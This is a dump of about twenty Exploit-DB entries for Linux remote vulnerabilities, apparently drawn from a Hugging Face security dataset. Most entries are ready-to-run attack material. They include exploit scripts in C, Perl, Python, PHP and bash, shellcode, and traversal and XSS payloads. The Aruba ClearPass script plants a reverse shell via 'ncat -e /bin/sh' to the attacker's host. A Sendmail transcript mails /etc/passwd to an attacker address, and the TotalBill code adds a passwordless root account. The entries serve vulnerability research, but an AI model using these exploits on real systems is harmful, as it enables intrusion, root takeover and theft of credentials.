deardaniel/secdata-raw huggingface dataset:
Exploit-DB #35011
Description: Apache Tomcat 7.0.4 - 'sort' / 'orderBy' Cross-Site Scripting
Type: remote
Platform: linux
Date: 2010-11-22
Author: Adam Muntner

Exploit:
source: https://www.securityfocus.com/bid/45015/info

Apache Tomcat is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks. 

http:/www.example.com/html/sessions?path=/&sort=[xss]
Exploit-DB #5386
Description: Apache Tomcat Connector jk2-2.0.2 mod_jk2 - Remote Overflow
Type: remote
Platform: linux
Date: 2008-04-06
Author: INetCop Security

Exploit:
/*
**
** Fedora Core 6,7,8 (exec-shield) based
** Apache Tomcat Connector jk2-2.0.2(mod_jk2) remote overflow exploit
** by INetCop Security
**
** Advanced exploitation in exec-shield (Fedora Core case study)
** URL: http://www.milw0rm.com/papers/151
**
** IOActive Security Advisory:
** http://www.securityfocus.com/archive/1/487983
**
** Heretic2(heretic2x@gmail.com)'s exploit (Win32):
** http://www.milw0rm.com/exploits/5330
**
** --
** exploit by INetCop Security.
*/
/*
** --
** $ ./0x82-apache-mod_jk2 61.xx.xx.20 80 61.xx.xx.30
**
**  Fedora Core release 6 (exec-shield) based
**  Apache Tomcat Connector (mod_jk2) remote overflow exploit
**  Target Version: Apache/2.0.53 (Unix) mod_jk2/2.0.2
**  by INetCop Security
**
**  + make socket
**  + make exploit payload
**  + try connected 61.42.25.22:80
**  + exploit send!
**  * attacker host, check it up, now! :-D
**
** $
** --
**
** attacker's server port 56789: -- 
** $ nc -l -p 56789 -vv
** listening on [any] 56789 ...
** 61.xx.xx.20: inverse host lookup failed: Unknown host
** connect to [61.xx.xx.30] from (UNKNOWN) [61.xx.xx.20] 47576
** id
** --
**
** attacker's server port 5678: --
** $ nc -l -p 5678 -vv
** listening on [any] 5678 ...
** 61.xx.xx.20: inverse host lookup failed: Unknown host
** connect to [61.xx.xx.30] from (UNKNOWN) [61.xx.xx.20] 52452
** uid=99(nobody) gid=[PII_REDACTED] groups=[PII_REDACTED] context=root:system_r:unconfined_t:s0-s0:c0.c1023
** --
**
*/

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/5386.tar.gz (2008-x2_fc6f7f8.tar.gz)

# milw0rm.com [2008-04-06]
Exploit-DB #20145
Description: Aptis Software TotalBill 3.0 - Remote Command Execution
Type: remote
Platform: linux
Date: 2000-08-08
Author: Brian Masney

Exploit:
// source: https://www.securityfocus.com/bid/1555/info

Aptis Software offers a billing / provisioning solution for ISPs called TotalBill. One component of the TotalBill package is a network service called Sysgen that listens on or around port 9998. It allows a client connectiing to it to execute any command on the host it is running on (with whatever uid the service runs as, typically root) without any authentication. If this service is not filtered, anonymous attackers can easily gain root access on the target host by remotely exploiting this naive service. Other components of TotalBill may be vulnerable also (noteably cc_queue to a buffer overflow attack) but none are confirmed.


#include <stdio.h>
#include <errno.h>
#include <unistd.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/socket.h>

#define TOTALBILL_PORT		9998
#define TOTALBILL_SERVER	""	/* Insert hostname here */

int main (void) 
{
  struct sockaddr_in servaddr;
  char *tempstr, buf[8192];
  struct hostent *host;
  int sockfd;
   
  if ((sockfd = socket (AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) 
    {
      fprintf (stderr, "Error: Could not create a socket: %s\n", 
               strerror (errno));
      return (1);
    }
  memset (&servaddr, 0, sizeof (servaddr));
  servaddr.sin_family = AF_INET;
  servaddr.sin_port = htons (TOTALBILL_PORT);

  if ((host = gethostbyname (TOTALBILL_SERVER)) == NULL) 
    {
      fprintf (stderr, "Error: Could not look up %s\n", TOTALBILL_SERVER);
      return (1);
    }

  memcpy (&servaddr.sin_addr, host->h_addr_list[0], host->h_length);
  if (connect (sockfd, (struct sockaddr *) &servaddr, sizeof (servaddr)) < 0) 
    {
      fprintf (stderr, "Error: Cannot connect to %s: %s\n", TOTALBILL_SERVER, 
               strerror (errno));
      return (1);
    }
  tempstr = "123456  execute  execute  execute=/bin/echo+root::0:0::/:/bin/sh+>+/rootfile";
  printf ("Sending command %s to %s\n", tempstr, TOTALBILL_SERVER);
  if (write (sockfd, tempstr, strlen (tempstr) + 1) < 0) 
    {
      fprintf (stderr, "Error: Cannot write to socket: %s\n", strerror (errno));
      return (1);
    }
  printf ("Sent...waiting for response...\n");
  if (read (sockfd, buf, sizeof (buf)) < 0) 
    {
      fprintf (stderr, "Error: Cannot read from socket: %s\n", strerror (errno));
      return (1);
    }
  printf ("Received %s from server\n", buf);
  close (sockfd);
  return (0);
}
Exploit-DB #29496
Description: ArsDigita Community System 3.4.x - Directory Traversal
Type: remote
Platform: linux
Date: 2007-01-18
Author: Elliot Kendall

Exploit:
source: https://www.securityfocus.com/bid/22121/info

ArsDigita Community System is prone to a directory-traversal vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability to retrieve arbitrary files from the vulnerable system in the context of the affected application. Information obtained may aid in further attacks.

http://www.example.com/.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/etc/passwd
Exploit-DB #48661
Description: Aruba ClearPass Policy Manager 6.7.0 - Unauthenticated Remote Command Execution
Type: remote
Platform: linux
Date: 2020-07-10
Author: SpicyItalian

Exploit:
# Exploit Title: Aruba ClearPass Policy Manager 6.7.0 - Unauthenticated Remote Command Execution
# Date: 2020-07-06
# Exploit Author: SpicyItalian
# Vendor Homepage: https://www.arubanetworks.com/products/security/network-access-control/
# Version: ClearPass 6.7.x prior to 6.7.13-HF, ClearPass 6.8.x prior to 6.8.5-HF, ClearPass 6.9.x prior to 6.9.1
# Tested on: ClearPass 6.7.0
# CVE: CVE-2020-7115

Use of RHEL/CentOS 7.x is recommended to successfully generate the malicious OpenSSL engine.

#!/usr/bin/env bash

if [ "$#" -ne 4 ]; then
echo "Usage: `basename $0` [remote host] [remote port] [local host] [local port]"
exit 0
fi
cat <<EOF >>payload.c
#include <unistd.h>
__attribute__((constructor))
static void init() {
execl("/bin/sh", "sh", "-c", "rm -f /tmp/clientCertFile*.txt ; sleep 1 ; ncat $3 $4 -e /bin/sh", NULL);
}
EOF

gcc -fPIC -c payload.c
gcc -shared -o payload.so -lcrypto payload.o
rm -f payload.c payload.o
curl -X POST -F 'clientPassphrase=req -engine /tmp/clientCertFile*.txt' -F 'uploadClientCertFile=@./payload.so' -k https://$1:$2/tips/tipsSimulationUpload.action &>/dev/null &
cat <<"EOF"

/(\

¡ !´\

| )\ `.

| `.) \,-,--

( / /

`'-.,;_/

`----

EOF

printf "\nPleasea waita for your spicy shell...\n\n"

ncat -v -l $3 $4
Exploit-DB #33783
Description: Astaro Security Linux 5 - 'index.fpl' Cross-Site Scripting
Type: remote
Platform: linux
Date: 2010-03-23
Author: Vincent Hautot

Exploit:
source: https://www.securityfocus.com/bid/38893/info

Astaro Security Linux is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

The issue affects Astaro Security Linux 5; other versions may also be affected. 

The following example POST data is available:

username=my@example.com&[CREDENTIAL_REDACTED]=>"><script>alert("XSS !!!")</script>&cur_width=1&window_height=700&id=0121&jaction=none&frameset=active&new_id=0
Exploit-DB #26198
Description: Astaro Security Linux 6.0 01 - HTTP CONNECT Unauthorized Access
Type: remote
Platform: linux
Date: 2005-08-25
Author: Oliver Karow

Exploit:
source: https://www.securityfocus.com/bid/14665/info

Astaro Security Linux is prone to a weakness that may allow remote attackers to connect to arbitrary ports on a vulnerable computer.

This weakness may be combined with other attacks to exploit latent vulnerabilities. An attacker can bypass access controls implemented by the application through this attack.

Astaro Security Linux 6.001 is prone to this weakness. 

Connect to TCP port 8080 and enter the following command:

CONNECT localhost:80 HTTP/1.0
Exploit-DB #35801
Description: Asterisk 1.8.4.1 - SIP 'REGISTER' Request User Enumeration
Type: remote
Platform: linux
Date: 2011-05-26
Author: Francesco Tornieri

Exploit:
source: https://www.securityfocus.com/bid/48008/info

Asterisk is prone to a user-enumeration weakness.

An attacker may leverage this issue to harvest valid usernames, which may aid in brute-force attacks.

This issue affects Asterisk 1.8.4.1; other versions may also be affected. 


REGISTER sip:192.168.2.1 SIP/2.0
CSeq: 123 REGISTER
Via: SIP/2.0/UDP localhost:5060;branch=z9hG4bK78adb2cd-0671-e011-81a1-a1816009ca7a;rport
User-Agent: TT
From: <sip:500@192.168.2.1>;tag=642d29cd-0671-e011-81a1-a1816009ca7a
Call-ID: 2e2f07e0499cec3abf7045ef3610f0f2
To: <sip:500@192.168.2.1>
Refer-To: sip:500@192.168.2.1
Contact: <sip:500@localhost>;q=1
Allow: INVITE,ACK,OPTIONS,BYE,CANCEL,SUBSCRIBE,NOTIFY,REFER,MESSAGE,INFO,PING
Expires: 3600
Content-Length: 28000
Max-Forwards: 70
Exploit-DB #24221
Description: Asterisk PBX 0.7.x - Multiple Logging Format String Vulnerabilities
Type: remote
Platform: linux
Date: 2004-06-18
Author: kfinisterre@secnetops.com

Exploit:
source: https://www.securityfocus.com/bid/10569/info

It is reported that Asterisk is susceptible to format string vulnerabilities in its logging functions.

An attacker may use these vulnerabilities to corrupt memory, and read or write arbitrary memory. Remote code execution is likely possible.

Due to the nature of these vulnerabilities, there may exist many different avenues of attack. Anything that can potentially call the logging functions with user-supplied data is vulnerable.

Versions 0.7.0 through to 0.7.2 are reported vulnerable.

#!/usr/bin/perl
#
# Asterisk 0.7.2 Linux PBX Remote Format string DoS (PoC)
#
# Feb 29 22:58:08 NOTICE[27151280]: Rejected connect attempt from 127.0.0.1, request
# 'exten=;callerid=;dnid=;context=;username=ce0ca0;language=;formats=;version=;}'

#
# kfinisterre[at]secnetops[dot]com - Copyright Secure Network Operations.
#

use IO::Socket::INET;

$sock=new IO::Socket::INET->new(PeerPort=>5036, Proto=>'udp', PeerAddr=>'localhost');
#$malpayload = "%.10d.";
#$malpayload .= "%.10d"; # add 6 to length
#$malpayload .="%n"; # write to the third address... we
have control of $esi
$malpayload = "AAAABBBB" . "%x." x 25;
$malpayload .="\x3b";

$payload = "\xa3\x7d\xff\xff\x00\x00\x00\x01\x00\x00\x06\x01\x65\x78\x74\x65\x6e\x3d\x3b" . # extern=;
"\x63\x61\x6c\x6c\x65\x72\x69\x64\x3d\x3b" . # callerid=;
"\x64\x6e\x69\x64\x3d\x3b" . # dnid=;
"\x63\x6f\x6e\x74\x65\x78\x74\x3d\x3b" . # context=;
"$malpayload" .
"\x75\x73\x65\x72\x6e\x61\x6d\x65\x3d" . # username=;
"\x6c\x61\x6e\x67\x75\x61\x67\x65\x3d\x3b" . # language=;
"\x66\x6f\x72\x6d\x61\x74\x73\x3d\x3b" . # formats=;
"\x76\x65\x72\x73\x69\x6f\x6e\x3d\x3b" . # version=;
"\xa3\x7d\xff\xff\x00\x00\x00\x15\x00\x01\x06\x0b"; # end of payload

$sock->send($payload);
close($sock);
Exploit-DB #37007
Description: AtMail 1.04 - Multiple Vulnerabilities
Type: remote
Platform: linux
Date: 2012-03-22
Author: Yury Maryshev

Exploit:
source: https://www.securityfocus.com/bid/52684/info

AtMail is prone to multiple directory-traversal vulnerabilities, an arbitrary-file-upload vulnerability, and an information-disclosure vulnerability because the application fails to sanitize user-supplied input.

An attacker can exploit these issues to obtain sensitive information, upload arbitrary code, and run it in the context of the webserver process.

Atmail 1.04 is vulnerable; other versions may also be affected. 

https://www.example.com/compose.php?func=renameattach&unique=/..././..././..././..././..././..././..././..././..././..././..././..././tmp/positive.test%00&Attachment[]=/../../../../../../../../../etc/passwd

https://www.example.com/compose.php?func=renameattach&unique=1.txt%00&Attachment[]=/../../../../../../../../../etc/passwd

https://www.example.com/mime.php?file=%0A/../../../../../../../../../etc/passwd&name=positive.html
Exploit-DB #19978
Description: Atrus Trivalie Productions Simple Network Time Sync 1.0 - daemon Buffer Overflow
Type: remote
Platform: linux
Date: 2000-06-01
Author: Ben Taylor

Exploit:
source: https://www.securityfocus.com/bid/1289/info

A scanf overflow has been discovered in the Simple Network Time Sync daemon and client version 1.0. Currently the buffer overflow has been tested on RedHat 6.1. It may be possible to obtain root, although it appears one only has 50 characters to run code with.

#!/usr/bin/perl -w
#
# Usage: ./kill_sntsd <hostname>
#

use Socket;

send_packet(); # Needs to send 2 packets to kill the client and the server 
daemons
send_packet();

sub send_packet {

$proto = getprotobyname('udp');
$localaddr = gethostbyname("localhost") || die "error: $!\n";
$iaddr = gethostbyname($ARGV[0]) || die "$!\n";
$sin = sockaddr_in(724, $iaddr);
$paddr = sockaddr_in(53, $localaddr);
socket(SH, PF_INET, SOCK_DGRAM, $proto);
bind(SH, $paddr);

$|=1;

connect(SH, $sin) || die "$!\n";

# A string longer than 50 characters...
print SH "logistixlogistixlogistixlogistixlogistixlogistixlogistix\n";
close(SH);

}
Exploit-DB #32691
Description: Audio File Library 0.2.6 - libaudiofile 'msadpcm.c .WAV' File Processing Buffer Overflow
Type: remote
Platform: linux
Date: 2008-12-30
Author: Anton Khirnov

Exploit:
source: https://www.securityfocus.com/bid/33066/info

Audio File Library ('libaudiofile') is prone to a heap-based buffer-overflow vulnerability because it fails to properly bounds-check user-supplied data.

An attacker can exploit this issue to execute arbitrary machine code in the context of applications using the vulnerable library. Failed exploit attempts will likely cause denial-of-service conditions.

This issue affects libaudiofile 0.2.6; other versions may also be vulnerable. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/32691.wav
Exploit-DB #34766
Description: Bash - 'Shellshock' Environment Variables Command Injection
Type: remote
Platform: linux
Date: 2014-09-25
Author: Prakhar Prasad & Subho Halder

Exploit:
<?php
/*
Title: Bash Specially-crafted Environment Variables Code Injection Vulnerability
CVE: 2014-6271
Vendor Homepage: https://www.gnu.org/software/bash/
Author: Prakhar Prasad && Subho Halder
Author Homepage: https://prakharprasad.com && https://appknox.com
Date: September 25th 2014
Tested on: Mac OS X 10.9.4/10.9.5 with Apache/2.2.26
	   GNU bash, version 3.2.51(1)-release (x86_64-apple-darwin13)
Usage: php bash.php -u http://<hostname>/cgi-bin/<cgi> -c cmd
	   Eg. php bash.php -u http://localhost/cgi-bin/hello -c "wget http://appknox.com -O /tmp/shit"
Reference: https://www.reddit.com/r/netsec/comments/2hbxtc/cve20146271_remote_code_execution_through_bash/

Test CGI Code : #!/bin/bash
				echo "Content-type: text/html"
				echo ""
				echo "Bash-is-Vulnerable"

*/
error_reporting(0);
if(!defined('STDIN')) die("Please run it through command-line!\n");
$x  = getopt("u:c:");
if(!isset($x['u']) || !isset($x['c']))
{
	die("Usage: ".$_SERVER['PHP_SELF']." -u URL -c cmd\n");

}
$url = $x['u'];
$cmd = $x['c'];

$context = stream_context_create(
	array(
		'http' => array(
			'method'  => 'GET',
			'header'  => 'User-Agent: () { :;}; /bin/bash -c "'.$cmd.'"'
		)
	)
);
$req = file_get_contents($url, false, $context);
if(!$req && strpos($http_response_header[0],"500") > 0 )
	die("Command sent to the server!\n");
else if($req && !strpos($http_response_header[0],"500") > 0)
	die("Server didn't respond as it should!\n");
else if(!$req && $http_response_header == NULL)
	die("A connection error occurred!\n")
?>
Exploit-DB #19028
Description: Berkeley Sendmail 5.58 - Debug
Type: remote
Platform: linux
Date: 1988-08-01
Author: anonymous

Exploit:
220 mail.victim.com SMTP
helo attacker.com
250 Hello attacker.com, pleased to meet you.
debug
200 OK
mail from: </dev/null>
250 OK
rcpt to:<|sed -e '1,/^$/'d | /bin/sh ; exit 0">
250 OK
data
354 Start mail input; end with <CRLF>.<CRLF>
mail evil@attacker.com </etc/passwd
.
250 OK
quit
221 mail.victim.com Terminating

The sed in the receipient strips all mail headers from the
message before passing it on to the shell.
Exploit-DB #204
Description: BFTPd - 'vsprintf()' Format Strings
Type: remote
Platform: linux
Date: 2000-11-29
Author: DiGiT

Exploit:
/*
 *  Copyright (c) 2000 - Security.is
 *
 *  The following material may be freely redistributed, provided
 *  that the code or the disclaimer have not been partly removed,
 *  altered or modified in any way. The material is the property
 *  of security.is. You are allowed to adopt the represented code
 *  in your programs, given that you give credits where it's due.
 *
 *  A no-name ftp-server has a serious bug which leads to remote root.
 *  Anyway, we exploit vsprintf() via format-string.
 *
 *  Discovered/coded by: DiGiT - teddi@linux.is
 *  Greets: security.is, ADM
 *  note: Coded during security.is weekend ;>
 *
 *  Run like: (./bftpexp ; cat) | nc bftpd.victim.com 21
 *  offset is optional and is arg1
 * 
 */

#include <stdio.h>

char shellcode[] =
  "\x31\xc0\x31\xdb\x04\x0b\xcd\x80\x31\xc0\x40\x40\xcd\x80\x85"
  "\xc0\x75\x28\x89\xd9\x31\xc0\x41\x04\x3f\xcd\x80\x31\xc0\x04"
  "\x3f\x41\xeb\x1f\x31\xc0\x5f\x89\x7f\x08\x88\x47\x07\x89\x47"
  "\x0c\x89\xfb\x8d\x4f\x08\x8d\x57\x0c\x04\x0b\xcd\x80\x31\xc0"
  "\x31\xdb\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";

#define ADDR 0xbffff83c

int main(int argc, char *argv[]) 
{
  char lenbuf[1024],nopbuf[256], addrbuf[32], buf[256];
  int offset=0,length, nopcount=100,i;
  long nop_addr = ADDR;

  if(argc > 1)
    offset = atoi(argv[1]);

  memset (nopbuf, '\x90', nopcount);
  nop_addr = nop_addr + offset;

  strcpy(buf, nopbuf);
  strcat(buf, shellcode);

  length=1024-strlen(shellcode)-nopcount+4-14;

  strcat(buf, "%.");
  sprintf(lenbuf, "%dd", length);
  strcat(buf, lenbuf);

  sprintf(addrbuf, "%c%c%c%c",
    (unsigned char) ((nop_addr >>  0) & 0xff),
    (unsigned char) ((nop_addr >>  8) & 0xff),
    (unsigned char) ((nop_addr >> 16) & 0xff),
    (unsigned char) ((nop_addr >> 24) & 0xff));

  for(i = 0 ; i < 4 ; i++) 
    strcat(buf, addrbuf);

  fprintf(stderr, "Bftpd remote exploit, by DiGiT\n");
  fprintf(stderr, "Using Address = 0x%x\n", nop_addr);
  printf("%s\n", buf);

  return 0;
}


// milw0rm.com [2000-11-29]
Exploit-DB #30454
Description: BlueCat Networks Adonis 5.0.2.8 - TFTP Privilege Escalation
Type: remote
Platform: linux
Date: 2007-08-06
Author: defaultroute

Exploit:
source: https://www.securityfocus.com/bid/25214/info

BlueCat Networks Adonis devices are prone to a remote privilege-escalation vulnerability. This issue occurs when Proteus appliances are used to upload files to an affected Adonis appliance for TFTP download.

An attacker with administrative privileges can exploit this issue to write arbitrary data with superuser privileges. A successful attack will result in the complete compromise of an affected appliance.

Adonis 5.0.2.8 is vulnerable; other versions may also be affected. 

  0) Create a new TFTP Group in a Proteus configuration.

  1) Add a TFTP deployment role specifying an Adonis appliance to
     the group.

  2) At the top-level folder in the new TFTP group, add a file
     named "../etc/shadow" (without the quotes) and load a file
     containing the following line:

     root:Im0Zgl8tnEq9Y:13637:0:99999:7:::

     NOTE: The sshd configuration uses the default setting
     'PermitEmptyPasswords no', so we specify a password of
     bluecat.

  3) Deploy the configuration to the Adonis appliance.

  4) You can now login to the Adonis appliance as root with
     password bluecat.

     $ ssh root@192.168.1.11
     root@192.168.1.11's password:
     # cat /etc/shadow
     root:Im0Zgl8tnEq9Y:13637:0:99999:7:::

     NOTE: This example assumes SSH is enabled, iptables permits
     port tcp/22, etc.

  Many attack variations are possible, such as changing system
  startup scripts to modify the iptables configuration on the
  appliance.
Exploit-DB #29471
Description: BlueZ 1.x/2.x - HIDD Bluetooh HID Command Injection
Type: remote
Platform: linux
Date: 2007-11-16
Author: Collin Mulliner

Exploit:
source: https://www.securityfocus.com/bid/22076/info

BlueZ hidd is prone to a device-command-injection vulnerability.

A remote attacker can exploit this issue to gain control of mouse and keyboard HIDs (human interface device). This will allow the attacker to interact with the targeted computer in the context of the currently logged-in user.

Versions prior to 2.25 are vulnerable. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/29471.tar.gz
Exploit-DB #4542
Description: Boa 0.93.15 - HTTP Basic Authentication Bypass
Type: remote
Platform: linux
Date: 2007-10-16
Author: ikki

Exploit:
/*
 * Boa HTTP Basic Authentication Bypass 
 * Vuln: Boa/0.93.15 (with Intersil Extensions)
 *
 * Original Advisory: 
 * http://www.securityfocus.com/archive/1/479434
 * http://www.ikkisoft.com/stuff/SN-2007-02.txt
 *
 *  Luca "ikki" Carettoni
 *  http://www.ikkisoft.com
 */

----

#!/usr/bin/env python
import urllib2

SERVER_IP_ADDRESS = '192.168.0.1'
USERNAME 
= 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'
NEW_PASSWORD = 'owned'

auth_handler = urllib2.HTTPBasicAuthHandler()
auth_handler.add_password('LOGIN(default username & password is admin)', 
SERVER_IP_ADDRESS, USERNAME, NEW_PASSWORD);
opener = urllib2.build_opener(auth_handler)
urllib2.install_opener(opener)
res = urllib2.urlopen('http://'+SERVER_IP_ADDRESS+'/home/index.shtml')

# milw0rm.com [2007-10-16]